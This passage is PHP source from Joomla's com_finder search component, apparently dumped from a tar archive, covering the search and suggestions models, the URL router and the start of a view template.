					->where('t' . $i . '.node_id IN (' .
implode(',', $groups[$i]) . ')');
			}
		}

		// Add the start date filter to the query.
		if (!empty($this->query->date1))
		{
			// Escape the date.
			$date1 = $db->quote($this->query->date1);

			// Add the appropriate WHERE condition.
			if ($this->query->when1 === 'before')
			{
				$query->where($db->quoteName('l.start_date') . '
<= ' . $date1);
			}
			elseif ($this->query->when1 === 'after')
			{
				$query->where($db->quoteName('l.start_date') . '
>= ' . $date1);
			}
			else
			{
				$query->where($db->quoteName('l.start_date') . ' =
' . $date1);
			}
		}

		// Add the end date filter to the query.
		if (!empty($this->query->date2))
		{
			// Escape the date.
			$date2 = $db->quote($this->query->date2);

			// Add the appropriate WHERE condition.
			if ($this->query->when2 === 'before')
			{
				$query->where($db->quoteName('l.start_date') . '
<= ' . $date2);
			}
			elseif ($this->query->when2 === 'after')
			{
				$query->where($db->quoteName('l.start_date') . '
>= ' . $date2);
			}
			else
			{
				$query->where($db->quoteName('l.start_date') . ' =
' . $date2);
			}
		}

		// Filter by language
		if ($this->getState('filter.language'))
		{
			$query->where('l.language IN (' .
$db->quote(JFactory::getLanguage()->getTag()) . ', ' .
$db->quote('*') . ')');
		}

		// Push the data into cache.
		$this->store($store, $query, false);

		// Return a copy of the query object.
		return clone $this->retrieve($store, false);
	}

	/**
	 * Method to get the total number of results for the search query.
	 *
	 * @return  integer  The results total.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getResultsTotal()
	{
		// Get the store id.
		$store = $this->getStoreId('getResultsTotal', false);

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the base query and add the ordering information.
		$base = $this->getListQuery();
		$base->select('0 AS ordering');

		// Get the maximum number of results.
		$limit = (int) $this->getState('match.limit');

		/*
		 * If there are no optional or required search terms in the query,
		 * we can get the result total in one relatively simple database query.
		 */
		if (empty($this->includedTerms))
		{
			// Adjust the query to join on the appropriate mapping table.
			$query = clone $base;
			$query->clear('select')
				->select('COUNT(DISTINCT l.link_id)');

			// Get the total from the database.
			$this->_db->setQuery($query);
			$total = $this->_db->loadResult();

			// Push the total into cache.
			$this->store($store, min($total, $limit));

			// Return the total.
			return $this->retrieve($store);
		}

		/*
		 * If there are optional or required search terms in the query, the
		 * process of getting the result total is more complicated.
		 */
		$start = 0;
		$items = array();
		$sorted = array();
		$maps = array();
		$excluded = $this->getExcludedLinkIds();

		/*
		 * Iterate through the included search terms and group them by mapping
		 * table suffix. This ensures that we never have to do more than 16
		 * queries to get a batch. This may seem like a lot but it is rarely
		 * anywhere near 16 because of the improved mapping algorithm.
		 */
		foreach ($this->includedTerms as $token => $ids)
		{
			// Get the mapping table suffix.
			$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)),
0, 1);

			// Initialize the mapping group.
			if (!array_key_exists($suffix, $maps))
			{
				$maps[$suffix] = array();
			}

			// Add the terms to the mapping group.
			$maps[$suffix] = array_merge($maps[$suffix], $ids);
		}

		/*
		 * When the query contains search terms we need to find and process the
		 * result total iteratively using a do-while loop.
		 */
		do
		{
			// Create a container for the fetched results.
			$results = array();
			$more = false;

			/*
			 * Iterate through the mapping groups and load the total from each
			 * mapping table.
			 */
			foreach ($maps as $suffix => $ids)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsTotal:' .
serialize(array_values($ids)) . ':' . $start . ':' .
$limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$temp = $this->retrieve($setId);
				}
				// Load the data from the database.
				else
				{
					// Adjust the query to join on the appropriate mapping table.
					$query = clone $base;
					$query->join('INNER', '#__finder_links_terms' .
$suffix . ' AS m ON m.link_id = l.link_id')
						->where('m.term_id IN (' . implode(',', $ids)
. ')');

					// Load the results from the database.
					$this->_db->setQuery($query, $start, $limit);
					$temp = $this->_db->loadObjectList();

					// Set the more flag to true if any of the sets equal the limit.
					$more = count($temp) === $limit;

					// We loaded the data unkeyed but we need it to be keyed for later.
					$junk = $temp;
					$temp = array();

					// Convert to an associative array.
					for ($i = 0, $c = count($junk); $i < $c; $i++)
					{
						$temp[$junk[$i]->link_id] = $junk[$i];
					}

					// Store this set in cache.
					$this->store($setId, $temp);
				}

				// Merge the results.
				$results = array_merge($results, $temp);
			}

			// Check if there are any excluded terms to deal with.
			if (count($excluded))
			{
				// Remove any results that match excluded terms.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (in_array($results[$i]->link_id, $excluded))
					{
						unset($results[$i]);
					}
				}

				// Reset the array keys.
				$results = array_values($results);
			}

			// Iterate through the set to extract the unique items.
			for ($i = 0, $c = count($results); $i < $c; $i++)
			{
				if (!isset($sorted[$results[$i]->link_id]))
				{
					$sorted[$results[$i]->link_id] = $results[$i]->ordering;
				}
			}

			/*
			 * If the query contains just optional search terms and we have
			 * enough items for the page, we can stop here.
			 */
			if (empty($this->requiredTerms))
			{
				// If we need more items and they're available, make another pass.
				if ($more && count($sorted) < $limit)
				{
					// Increment the batch starting point and continue.
					$start += $limit;
					continue;
				}

				// Push the total into cache.
				$this->store($store, min(count($sorted), $limit));

				// Return the total.
				return $this->retrieve($store);
			}

			/*
			 * The query contains required search terms so we have to iterate
			 * over the items and remove any items that do not match all of the
			 * required search terms. This is one of the most expensive steps
			 * because a required token could theoretically eliminate all of
			 * current terms which means we would have to loop through all of
			 * the possibilities.
			 */
			foreach ($this->requiredTerms as $token => $required)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsTotal:required:' .
serialize(array_values($required)) . ':' . $start . ':'
. $limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$reqTemp = $this->retrieve($setId);
				}
					// Check if the token was matched.
				elseif (empty($required))
				{
					return null;
				}
					// Load the data from the database.
				else
				{
					// Setup containers in case we have to make multiple passes.
					$reqStart = 0;
					$reqTemp = array();

					do
					{
						// Get the map table suffix.
						$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0,
1)), 0, 1);

						// Adjust the query to join on the appropriate mapping table.
						$query = clone $base;
						$query->join('INNER', '#__finder_links_terms'
. $suffix . ' AS m ON m.link_id = l.link_id')
							->where('m.term_id IN (' . implode(',',
$required) . ')');

						// Load the results from the database.
						$this->_db->setQuery($query, $reqStart, $limit);
						$temp = $this->_db->loadObjectList('link_id');

						// Set the required token more flag to true if the set equal the
limit.
						$reqMore = count($temp) === $limit;

						// Merge the matching set for this token.
						$reqTemp += $temp;

						// Increment the term offset.
						$reqStart += $limit;
					}
					while ($reqMore === true);

					// Store this set in cache.
					$this->store($setId, $reqTemp);
				}

				// Remove any items that do not match the required term.
				$sorted = array_intersect_key($sorted, $reqTemp);
			}

			// If we need more items and they're available, make another pass.
			if ($more && count($sorted) < $limit)
			{
				// Increment the batch starting point.
				$start += $limit;

				// Merge the found items.
				$items += $sorted;

				continue;
			}

			// Otherwise, end the loop.
			{
				// Merge the found items.
				$items += $sorted;

				$more = false;
			}
			// End do-while loop.
		}
		while ($more === true);

		// Set the total.
		$total = count($items);
		$total = min($total, $limit);

		// Push the total into cache.
		$this->store($store, $total);

		// Return the total.
		return $this->retrieve($store);
	}

	/**
	 * Method to get the results for the search query.
	 *
	 * @return  array  An array of result data objects.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getResultsData()
	{
		// Get the store id.
		$store = $this->getStoreId('getResultsData', false);

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the result ordering and direction.
		$ordering = $this->getState('list.ordering',
'l.start_date');
		$direction = $this->getState('list.direction',
'DESC');

		// Get the base query and add the ordering information.
		$base = $this->getListQuery();
		$base->select($this->_db->escape($ordering) . ' AS
ordering');
		$base->order($this->_db->escape($ordering) . ' ' .
$this->_db->escape($direction));

		/*
		 * If there are no optional or required search terms in the query, we
		 * can get the results in one relatively simple database query.
		 */
		if (empty($this->includedTerms))
		{
			// Get the results from the database.
			$this->_db->setQuery($base, (int)
$this->getState('list.start'), (int)
$this->getState('list.limit'));
			$return = $this->_db->loadObjectList('link_id');

			// Get a new store id because this data is page specific.
			$store = $this->getStoreId('getResultsData', true);

			// Push the results into cache.
			$this->store($store, $return);

			// Return the results.
			return $this->retrieve($store);
		}

		/*
		 * If there are optional or required search terms in the query, the
		 * process of getting the results is more complicated.
		 */
		$start = 0;
		$limit = (int) $this->getState('match.limit');
		$items = array();
		$sorted = array();
		$maps = array();
		$excluded = $this->getExcludedLinkIds();

		/*
		 * Iterate through the included search terms and group them by mapping
		 * table suffix. This ensures that we never have to do more than 16
		 * queries to get a batch. This may seem like a lot but it is rarely
		 * anywhere near 16 because of the improved mapping algorithm.
		 */
		foreach ($this->includedTerms as $token => $ids)
		{
			// Get the mapping table suffix.
			$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)),
0, 1);

			// Initialize the mapping group.
			if (!array_key_exists($suffix, $maps))
			{
				$maps[$suffix] = array();
			}

			// Add the terms to the mapping group.
			$maps[$suffix] = array_merge($maps[$suffix], $ids);
		}

		/*
		 * When the query contains search terms we need to find and process the
		 * results iteratively using a do-while loop.
		 */
		do
		{
			// Create a container for the fetched results.
			$results = array();
			$more = false;

			/*
			 * Iterate through the mapping groups and load the results from each
			 * mapping table.
			 */
			foreach ($maps as $suffix => $ids)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsData:' .
serialize(array_values($ids)) . ':' . $start . ':' .
$limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$temp = $this->retrieve($setId);
				}
				// Load the data from the database.
				else
				{
					// Adjust the query to join on the appropriate mapping table.
					$query = clone $base;
					$query->join('INNER',
$this->_db->quoteName('#__finder_links_terms' . $suffix) .
' AS m ON m.link_id = l.link_id')
						->where('m.term_id IN (' . implode(',', $ids)
. ')');

					// Load the results from the database.
					$this->_db->setQuery($query, $start, $limit);
					$temp = $this->_db->loadObjectList('link_id');

					// Store this set in cache.
					$this->store($setId, $temp);

					// The data is keyed by link_id to ease caching, we don't need it
till later.
					$temp = array_values($temp);
				}

				// Set the more flag to true if any of the sets equal the limit.
				$more = count($temp) === $limit;

				// Merge the results.
				$results = array_merge($results, $temp);
			}

			// Check if there are any excluded terms to deal with.
			if (count($excluded))
			{
				// Remove any results that match excluded terms.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (in_array($results[$i]->link_id, $excluded))
					{
						unset($results[$i]);
					}
				}

				// Reset the array keys.
				$results = array_values($results);
			}

			/*
			 * If we are ordering by relevance we have to add up the relevance
			 * scores that are contained in the ordering field.
			 */
			if ($ordering === 'm.weight')
			{
				// Iterate through the set to extract the unique items.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					// Add the total weights for all included search terms.
					if (isset($sorted[$results[$i]->link_id]))
					{
						$sorted[$results[$i]->link_id] += (float)
$results[$i]->ordering;
					}
					else
					{
						$sorted[$results[$i]->link_id] = (float)
$results[$i]->ordering;
					}
				}
			}
			/*
			 * If we are ordering by start date we have to add convert the
			 * dates to unix timestamps.
			 */
			elseif ($ordering === 'l.start_date')
			{
				// Iterate through the set to extract the unique items.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (!isset($sorted[$results[$i]->link_id]))
					{
						$sorted[$results[$i]->link_id] =
strtotime($results[$i]->ordering);
					}
				}
			}
			/*
			 * If we are not ordering by relevance or date, we just have to add
			 * the unique items to the set.
			 */
			else
			{
				// Iterate through the set to extract the unique items.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (!isset($sorted[$results[$i]->link_id]))
					{
						$sorted[$results[$i]->link_id] = $results[$i]->ordering;
					}
				}
			}

			// Sort the results.
			natcasesort($items);

			if ($direction === 'DESC')
			{
				$items = array_reverse($items, true);
			}

			/*
			 * If the query contains just optional search terms and we have
			 * enough items for the page, we can stop here.
			 */
			if (empty($this->requiredTerms))
			{
				// If we need more items and they're available, make another pass.
				if ($more && count($sorted) <
($this->getState('list.start') +
$this->getState('list.limit')))
				{
					// Increment the batch starting point and continue.
					$start += $limit;
					continue;
				}

				// Push the results into cache.
				$this->store($store, $sorted);

				// Return the requested set.
				return array_slice($this->retrieve($store), (int)
$this->getState('list.start'), (int)
$this->getState('list.limit'), true);
			}

			/*
			 * The query contains required search terms so we have to iterate
			 * over the items and remove any items that do not match all of the
			 * required search terms. This is one of the most expensive steps
			 * because a required token could theoretically eliminate all of
			 * current terms which means we would have to loop through all of
			 * the possibilities.
			 */
			foreach ($this->requiredTerms as $token => $required)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsData:required:' .
serialize(array_values($required)) . ':' . $start . ':'
. $limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$reqTemp = $this->retrieve($setId);
				}
				// Check if the token was matched.
				elseif (empty($required))
				{
					return null;
				}
				// Load the data from the database.
				else
				{
					// Setup containers in case we have to make multiple passes.
					$reqStart = 0;
					$reqTemp = array();

					do
					{
						// Get the map table suffix.
						$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0,
1)), 0, 1);

						// Adjust the query to join on the appropriate mapping table.
						$query = clone $base;
						$query->join('INNER',
$this->_db->quoteName('#__finder_links_terms' . $suffix) .
' AS m ON m.link_id = l.link_id')
							->where('m.term_id IN (' . implode(',',
$required) . ')');

						// Load the results from the database.
						$this->_db->setQuery($query, $reqStart, $limit);
						$temp = $this->_db->loadObjectList('link_id');

						// Set the required token more flag to true if the set equal the
limit.
						$reqMore = count($temp) === $limit;

						// Merge the matching set for this token.
						$reqTemp += $temp;

						// Increment the term offset.
						$reqStart += $limit;
					}
					while ($reqMore === true);

					// Store this set in cache.
					$this->store($setId, $reqTemp);
				}

				// Remove any items that do not match the required term.
				$sorted = array_intersect_key($sorted, $reqTemp);
			}

			// If we need more items and they're available, make another pass.
			if ($more && count($sorted) <
($this->getState('list.start') +
$this->getState('list.limit')))
			{
				// Increment the batch starting point.
				$start += $limit;

				// Merge the found items.
				$items = array_merge($items, $sorted);

				continue;
			}
			// Otherwise, end the loop.
			else
			{
				// Set the found items.
				$items = $sorted;

				$more = false;
			}

			// End do-while loop.
		}
		while ($more === true);

		// Push the results into cache.
		$this->store($store, $items);

		// Return the requested set.
		return array_slice($this->retrieve($store), (int)
$this->getState('list.start'), (int)
$this->getState('list.limit'), true);
	}

	/**
	 * Method to get an array of link ids that match excluded terms.
	 *
	 * @return  array  An array of links ids.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getExcludedLinkIds()
	{
		// Check if the search query has excluded terms.
		if (empty($this->excludedTerms))
		{
			return array();
		}

		// Get the store id.
		$store = $this->getStoreId('getExcludedLinkIds', false);

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Initialize containers.
		$links = array();
		$maps = array();

		/*
		 * Iterate through the excluded search terms and group them by mapping
		 * table suffix. This ensures that we never have to do more than 16
		 * queries to get a batch. This may seem like a lot but it is rarely
		 * anywhere near 16 because of the improved mapping algorithm.
		 */
		foreach ($this->excludedTerms as $token => $id)
		{
			// Get the mapping table suffix.
			$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)),
0, 1);

			// Initialize the mapping group.
			if (!array_key_exists($suffix, $maps))
			{
				$maps[$suffix] = array();
			}

			// Add the terms to the mapping group.
			$maps[$suffix][] = (int) $id;
		}

		/*
		 * Iterate through the mapping groups and load the excluded links ids
		 * from each mapping table.
		 */

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		foreach ($maps as $suffix => $ids)
		{
			// Create the query to get the links ids.
			$query->clear()
				->select('link_id')
				->from($db->quoteName('#__finder_links_terms' .
$suffix))
				->where($db->quoteName('term_id') . ' IN (' .
implode(',', $ids) . ')')
				->group($db->quoteName('link_id'));

			// Load the link ids from the database.
			$db->setQuery($query);
			$temp = $db->loadColumn();

			// Merge the link ids.
			$links = array_merge($links, $temp);
		}

		// Sanitize the link ids.
		$links = array_unique($links);
		$links = ArrayHelper::toInteger($links);

		// Push the link ids into cache.
		$this->store($store, $links);

		return $links;
	}

	/**
	 * Method to get a store id based on model the configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string   $id    An identifier string to generate the store id.
[optional]
	 * @param   boolean  $page  True to store the data paged, false to store
all data. [optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '', $page = true)
	{
		// Get the query object.
		$query = $this->getQuery();

		// Add the search query state.
		$id .= ':' . $query->input;
		$id .= ':' . $query->language;
		$id .= ':' . $query->filter;
		$id .= ':' . serialize($query->filters);
		$id .= ':' . $query->date1;
		$id .= ':' . $query->date2;
		$id .= ':' . $query->when1;
		$id .= ':' . $query->when2;

		if ($page)
		{
			// Add the list state for page specific data.
			$id .= ':' . $this->getState('list.start');
			$id .= ':' . $this->getState('list.limit');
			$id .= ':' . $this->getState('list.ordering');
			$id .= ':' . $this->getState('list.direction');
		}

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this
method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field. [optional]
	 * @param   string  $direction  An optional direction. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Get the configuration options.
		$app = JFactory::getApplication();
		$input = $app->input;
		$params = $app->getParams();
		$user = JFactory::getUser();

		$this->setState('filter.language',
JLanguageMultilang::isEnabled());

		// Setup the stemmer.
		if ($params->get('stem', 1) &&
$params->get('stemmer', 'porter_en'))
		{
			FinderIndexerHelper::$stemmer =
FinderIndexerStemmer::getInstance($params->get('stemmer',
'porter_en'));
		}

		$request = $input->request;
		$options = array();

		// Get the empty query setting.
		$options['empty'] =
$params->get('allow_empty_query', 0);

		// Get the static taxonomy filters.
		$options['filter'] = $request->getInt('f',
$params->get('f', ''));

		// Get the dynamic taxonomy filters.
		$options['filters'] = $request->get('t',
$params->get('t', array()), '', 'array');

		// Get the query string.
		$options['input'] = $request->getString('q',
$params->get('q', ''));

		// Get the query language.
		$options['language'] = $request->getCmd('l',
$params->get('l', ''));

		// Get the start date and start date modifier filters.
		$options['date1'] = $request->getString('d1',
$params->get('d1', ''));
		$options['when1'] = $request->getString('w1',
$params->get('w1', ''));

		// Get the end date and end date modifier filters.
		$options['date2'] = $request->getString('d2',
$params->get('d2', ''));
		$options['when2'] = $request->getString('w2',
$params->get('w2', ''));

		// Load the query object.
		$this->query = new FinderIndexerQuery($options);

		// Load the query token data.
		$this->excludedTerms = $this->query->getExcludedTermIds();
		$this->includedTerms = $this->query->getIncludedTermIds();
		$this->requiredTerms = $this->query->getRequiredTermIds();

		// Load the list state.
		$this->setState('list.start',
$input->get('limitstart', 0, 'uint'));
		$this->setState('list.limit',
$input->get('limit', $app->get('list_limit', 20),
'uint'));

		/**
		 * Load the sort ordering.
		 * Currently this is 'hard' coded via menu item parameter but
may not satisfy a users need.
		 * More flexibility was way more user friendly. So we allow the user to
pass a custom value
		 * from the pool of fields that are indexed like the 'title'
field.
		 * Also, we allow this parameter to be passed in either case
(lower/upper).
		 */
		$order = $input->getWord('filter_order',
$params->get('sort_order', 'relevance'));
		$order = StringHelper::strtolower($order);

		switch ($order)
		{
			case 'date':
				$this->setState('list.ordering',
'l.start_date');
				break;

			case 'price':
				$this->setState('list.ordering',
'l.list_price');
				break;

			case ($order === 'relevance' &&
!empty($this->includedTerms)) :
				$this->setState('list.ordering', 'm.weight');
				break;

			// Custom field that is indexed and might be required for ordering
			case 'title':
				$this->setState('list.ordering', 'l.title');
				break;

			default:
				$this->setState('list.ordering', 'l.link_id');
				break;
		}

		/**
		 * Load the sort direction.
		 * Currently this is 'hard' coded via menu item parameter but
may not satisfy a users need.
		 * More flexibility was way more user friendly. So we allow to be
inverted.
		 * Also, we allow this parameter to be passed in either case
(lower/upper).
		 */
		$dirn = $input->getWord('filter_order_Dir',
$params->get('sort_direction', 'desc'));
		$dirn = StringHelper::strtolower($dirn);

		switch ($dirn)
		{
			case 'asc':
				$this->setState('list.direction', 'ASC');
				break;

			default:
			case 'desc':
				$this->setState('list.direction', 'DESC');
				break;
		}

		// Set the match limit.
		$this->setState('match.limit', 1000);

		// Load the parameters.
		$this->setState('params', $params);

		// Load the user state.
		$this->setState('user.id', (int)
$user->get('id'));
		$this->setState('user.groups',
$user->getAuthorisedViewLevels());
	}

	/**
	 * Method to retrieve data from cache.
	 *
	 * @param   string   $id          The cache store id.
	 * @param   boolean  $persistent  Flag to enable the use of external
cache. [optional]
	 *
	 * @return  mixed  The cached data if found, null otherwise.
	 *
	 * @since   2.5
	 */
	protected function retrieve($id, $persistent = true)
	{
		$data = null;

		// Use the internal cache if possible.
		if (isset($this->cache[$id]))
		{
			return $this->cache[$id];
		}

		// Use the external cache if data is persistent.
		if ($persistent)
		{
			$data = JFactory::getCache($this->context,
'output')->get($id);
			$data = $data ? unserialize($data) : null;
		}

		// Store the data in internal cache.
		if ($data)
		{
			$this->cache[$id] = $data;
		}

		return $data;
	}

	/**
	 * Method to store data in cache.
	 *
	 * @param   string   $id          The cache store id.
	 * @param   mixed    $data        The data to cache.
	 * @param   boolean  $persistent  Flag to enable the use of external
cache. [optional]
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 */
	protected function store($id, $data, $persistent = true)
	{
		// Store the data in internal cache.
		$this->cache[$id] = $data;

		// Store the data in external cache if data is persistent.
		if ($persistent)
		{
			return JFactory::getCache($this->context,
'output')->store(serialize($data), $id);
		}

		return true;
	}
}
models/suggestions.php000064400000011552151167427760011136 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

define('FINDER_PATH_INDEXER', JPATH_ADMINISTRATOR .
'/components/com_finder/helpers/indexer');
JLoader::register('FinderIndexerHelper', FINDER_PATH_INDEXER .
'/helper.php');

/**
 * Suggestions model class for the Finder package.
 *
 * @since  2.5
 */
class FinderModelSuggestions extends JModelList
{
	/**
	 * Context string for the model type.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'com_finder.suggestions';

	/**
	 * Method to get an array of data items.
	 *
	 * @return  array  An array of data items.
	 *
	 * @since   2.5
	 */
	public function getItems()
	{
		// Get the items.
		$items = parent::getItems();

		// Convert them to a simple array.
		foreach ($items as $k => $v)
		{
			$items[$k] = $v->term;
		}

		return $items;
	}

	/**
	 * Method to build a database query to load the list data.
	 *
	 * @return  JDatabaseQuery  A database query
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		$user = JFactory::getUser();
		$groups =
\Joomla\Utilities\ArrayHelper::toInteger($user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$termIdQuery = $db->getQuery(true);
		$termQuery = $db->getQuery(true);

		// Limit term count to a reasonable number of results to reduce main
query join size
		$termIdQuery->select('ti.term_id')
			->from($db->quoteName('#__finder_terms',
'ti'))
			->where('ti.term LIKE ' .
$db->quote($db->escape($this->getState('input'), true) .
'%', false))
			->where('ti.common = 0')
			->where('ti.language IN (' .
$db->quote($this->getState('language')) . ', ' .
$db->quote('*') . ')')
			->order('ti.links DESC')
			->order('ti.weight DESC');

		$termIds = $db->setQuery($termIdQuery, 0, 100)->loadColumn();

		// Early return on term mismatch
		if (!count($termIds))
		{
			return $termIdQuery;
		}

		$termIdString = implode(',', $termIds);

		// Select required fields
		$termQuery->select('DISTINCT(t.term)')
			->from($db->quoteName('#__finder_terms') . ' AS
t')
			->where('t.term_id IN (' . $termIdString . ')')
			->order('t.links DESC')
			->order('t.weight DESC');

		// Determine the relevant mapping table suffix by inverting the logic
from drivers
		$mappingTableSuffix =
StringHelper::substr(md5(StringHelper::substr($this->getState('input'),
0, 1)), 0, 1);

		// Join mapping table for term <-> link relation
		$mappingTable = $db->quoteName('#__finder_links_terms' .
$mappingTableSuffix);
		$termQuery->join('INNER', $mappingTable . ' AS tm ON
tm.term_id = t.term_id');

		// Join links table
		$termQuery->join('INNER',
$db->quoteName('#__finder_links') . ' AS l ON (tm.link_id
= l.link_id)')
			->where('l.access IN (' . implode(',', $groups) .
')')
			->where('l.state = 1')
			->where('l.published = 1');

		return $termQuery;
	}

	/**
	 * Method to get a store id based on model the configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  An identifier string to generate the store id.
[optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '')
	{
		// Add the search query state.
		$id .= ':' . $this->getState('input');
		$id .= ':' . $this->getState('language');

		// Add the list state.
		$id .= ':' . $this->getState('list.start');
		$id .= ':' . $this->getState('list.limit');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this
method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Get the configuration options.
		$app = JFactory::getApplication();
		$input = $app->input;
		$params = JComponentHelper::getParams('com_finder');
		$user = JFactory::getUser();

		// Get the query input.
		$this->setState('input',
$input->request->get('q', '',
'string'));

		// Set the query language
		if (JLanguageMultilang::isEnabled())
		{
			$lang = JFactory::getLanguage()->getTag();
		}
		else
		{
			$lang = FinderIndexerHelper::getDefaultLanguage();
		}

		$lang = FinderIndexerHelper::getPrimaryLanguage($lang);
		$this->setState('language', $lang);

		// Load the list state.
		$this->setState('list.start', 0);
		$this->setState('list.limit', 10);

		// Load the parameters.
		$this->setState('params', $params);

		// Load the user state.
		$this->setState('user.id', (int)
$user->get('id'));
	}
}
router.php000064400000007575151167427760006633 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_finder
 *
 * @since  3.3
 */
class FinderRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_finder component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent
URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		$segments = array();

		/*
		 * First, handle menu item routes first. When the menu system builds a
		 * route, it only provides the option and the menu item id. We don't
have
		 * to do anything to these routes.
		 */
		if (count($query) === 2 && isset($query['Itemid'],
$query['option']))
		{
			return $segments;
		}

		/*
		 * Next, handle a route with a supplied menu item id. All system
generated
		 * routes should fall into this group. We can assume that the menu item
id
		 * is the best possible match for the query but we need to go through and
		 * see which variables we can eliminate from the route query string
because
		 * they are present in the menu item route already.
		 */
		if (!empty($query['Itemid']))
		{
			// Get the menu item.
			$item = $this->menu->getItem($query['Itemid']);

			// Check if the view matches.
			if ($item && isset($item->query['view']) &&
isset($query['view']) &&
$item->query['view'] === $query['view'])
			{
				unset($query['view']);
			}

			// Check if the search query filter matches.
			if ($item && isset($item->query['f']) &&
isset($query['f']) && $item->query['f'] ===
$query['f'])
			{
				unset($query['f']);
			}

			// Check if the search query string matches.
			if ($item && isset($item->query['q']) &&
isset($query['q']) && $item->query['q'] ===
$query['q'])
			{
				unset($query['q']);
			}

			return $segments;
		}

		/*
		 * Lastly, handle a route with no menu item id. Fortunately, we only need
		 * to deal with the view as the other route variables are supposed to
stay
		 * in the query string.
		 */
		if (isset($query['view']))
		{
			// Add the view to the segments.
			$segments[] = $query['view'];
			unset($query['view']);
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-',
$segments[$i]);
		}

		return $segments;
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		$total = count($segments);
		$vars = array();

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':',
$segments[$i], 1);
		}

		// Check if the view segment is set and it equals search or advanced.
		if (isset($segments[0]) && ($segments[0] === 'search'
|| $segments[0] === 'advanced'))
		{
			$vars['view'] = $segments[0];
		}

		return $vars;
	}
}

/**
 * Finder router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function FinderBuildRoute(&$query)
{
	$router = new FinderRouter;

	return $router->build($query);
}

/**
 * Finder router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function FinderParseRoute($segments)
{
	$router = new FinderRouter;

	return $router->parse($segments);
}
views/search/tmpl/default.php000064400000002357151167427760012306
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::_('stylesheet', 'com_finder/finder.css',
array('version' => 'auto', 'relative'
